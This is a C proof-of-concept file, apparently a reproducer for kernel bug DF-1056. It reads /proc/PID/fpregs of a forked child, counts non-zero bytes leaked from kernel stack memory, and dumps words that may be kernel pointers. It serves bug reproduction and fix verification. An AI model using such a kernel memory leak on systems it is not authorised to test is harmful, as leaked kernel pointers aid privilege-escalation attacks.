/* SPDX-License-Identifier: BSD-2-Clause
 * DF-1056 PoC (procfs variant): reads /proc/PID/fpregs and counts
 * non-zero bytes in the [108..511] tail of struct fpreg.
 *
 * Build:  cc -o procfs_c procfs_c.c
 * Run:    ./procfs_c
 *
 * Expected (bug present):  >0 non-zero bytes (kernel stack residue)
 * Expected (fixed):        0 non-zero bytes
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <string.h>
#include <signal.h>

int main(void)
{
    pid_t child = fork();
    if (child == 0) { sleep(30); _exit(0); }
    if (child < 0) { perror("fork"); return 1; }
    usleep(500000);

    char path[64];
    snprintf(path, sizeof(path), "/proc/%d/fpregs", child);
    int fd = open(path, O_RDONLY);
    if (fd < 0) { perror(path); kill(child, SIGKILL); return 1; }

    unsigned char buf[512];
    ssize_t n = read(fd, buf, sizeof(buf));
    close(fd);
    kill(child, SIGKILL);
    waitpid(child, NULL, 0);

    if (n != 512) {
        fprintf(stderr, "short read: %zd bytes\n", n);
        return 1;
    }

    int leaked = 0;
    for (int i = 108; i < 512; i++)
        if (buf[i] != 0x00)
            leaked++;

    fprintf(stderr,
            "/proc/PID/fpregs read %zd bytes, %d non-zero in [108..511]\n",
            n, leaked);

    /* Dump a window to inspect for kernel pointers (offsets 128..184) */
    unsigned long *p = (unsigned long *)(buf + 128);
    for (int i = 0; i < 8; i++)
        fprintf(stderr, "  fpregs[%+d] = 0x%016lx\n", 128 + i * 8, p[i]);

    return leaked > 0 ? 0 : 2;  /* exit 2 == not reproduced (fixed) */
}
